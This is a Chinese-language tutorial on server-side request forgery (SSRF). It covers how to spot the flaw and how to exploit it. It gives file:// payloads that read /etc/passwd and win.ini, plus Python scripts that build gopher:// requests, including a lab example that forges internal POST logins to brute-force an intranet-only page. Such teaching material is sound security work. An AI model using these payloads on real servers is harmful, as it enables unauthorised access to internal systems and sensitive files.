一、SSRF漏洞介绍
SSRF:全称Server-side Request Fogery(服务器端请求伪造漏洞),其是攻击者绕过网站的一些过滤,访问或或攻击或控制了一些本不应该访问或接触的内容(拿外网主机当跳板机去窥探内网)
二、SSRF漏洞发现
简单例子①:
解释:在此例子中发现该例子在提示我们,使用curl通过url获得我们想要的内容,遇到这种提示,我们就需要怀疑是否存在SSRF漏洞(测试与利用方式下文讲)
简单例子②:
http://xxx.com/?title=http://jack.xxx.com/x.png
解释:在此例子中,http://xxx.com/?title=http://jack.xxx.com/x.png
是一个请求,而里面又包含了一个请求,http://jack.xxx.com/x.png
我们需要观察该请求是由我们本地浏览器发出的,还是直接由服务器返回的,如果是由服务器返回的,那就说明此处可能存在SSRF漏洞,我们可能通过改变此处title
对应的参数内容来访问到网站不希望我们访问到的内容(测试与利用方式下文讲)
简单例子③:
解释:通过百度翻译提供的对某网站的翻译,提交网址后,百度翻译肯定会在其服务器内部对我们提交的链接进行访问,此时可能就存在SSRF漏洞(测试与利用方式下文讲)
三、SSRF漏洞测试与利用
解释:想要测试SSRF是否存在需要利用下面的协议去访问一些信息(下面讲的并不全面),来检查是否存在漏洞
1.http
http://xxx.com/?title=http://jack.xxx.com/x.png
解释:如上例所示,此种测试将title
内容设置为某网址,然后看看服务器是否将该界面内容或者某信息返回到前端页面
2.file
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
解释:尝试去访问敏感信息,查看页面是否有什么变化
3.gopher
解释:gopher
在web访问问世之前,是一种最常用的协议(现在使用较少),使用gopher
可以发送GET、POST请求(模拟构造时表头要尽量全和真以免一些不必要的问题),正因如此,gopher
相比前面的协议来说,更具备威胁性,更有杀伤力
# 下面介绍如何用gopher构造GET请求
web请求:
GET /mytest/gopher.php?x=haha HTTP/1.1
HOST:http://192.168.31.89/
规则:1.所有字符都在一行2.内容需要经过一次url编码(一般就是编码空格(%20)、问号(%3f)、回车换行(%0d%0a))(否则gopher解析不了)3.如果输入浏览器网址栏,则需要进行两次url编码4.前缀为gopher://地址:端口/_(此处_不可缺少)5.建议使用python的urllib.parse进行url编码(其中的%0a需要自己替换为%0d%0a)
gopher请求:
gopher://192.168.31.89:80/_GET%20/mytest/gopher.php%3Fx=haha%20HTTP/1.1%0d%0aHOST:http://192.168.31.89/%0d%0a
# python脚本生成快速
# 注意若构造POST请求,Content-Type,Content-Length都不能缺少
import urllib.parse
ip_port = '127.0.0.1:80'
web = f'''GET / HTTP/1.1
Host: {ip_port}
'''
t = urllib.parse.quote(web)
t = t.replace('%0A', '%0D%0A')
t = urllib.parse.quote(t)
# 构成gopher
t = f'gopher://{ip_port}/_{t}'
print(t)
3.1 实例一
内容:在一个界面有登录,但是下面提示(you are not an inner user, so we can not let you have identify~),这就暗示着只有内网才可以登录;第二个页面存在SSRF漏洞,此时我们将可以让服务器当做我们的跳板机(它就是内网中一台机器),利用其存在SSRF漏洞,用gopher发送请求(以服务器的身份)去用暴力破解尝试登录操作,最后成功登录(下面的代码是构造gopher的代码)
import urllib.parse
ip_port = '127.0.0.1:80'
payload = 'uname=admin&passwd=admin'
web = f'''POST / HTTP/1.1
Host: {ip_port}
Content-Length: {len(payload)}
Content-Type: application/x-www-form-urlencoded
{payload}
'''
t = urllib.parse.quote(web)
t = t.replace('%0A', '%0D%0A')
t = urllib.parse.quote(t)
# 构成gopher
t = f'gopher://{ip_port}/_{t}'
print(t)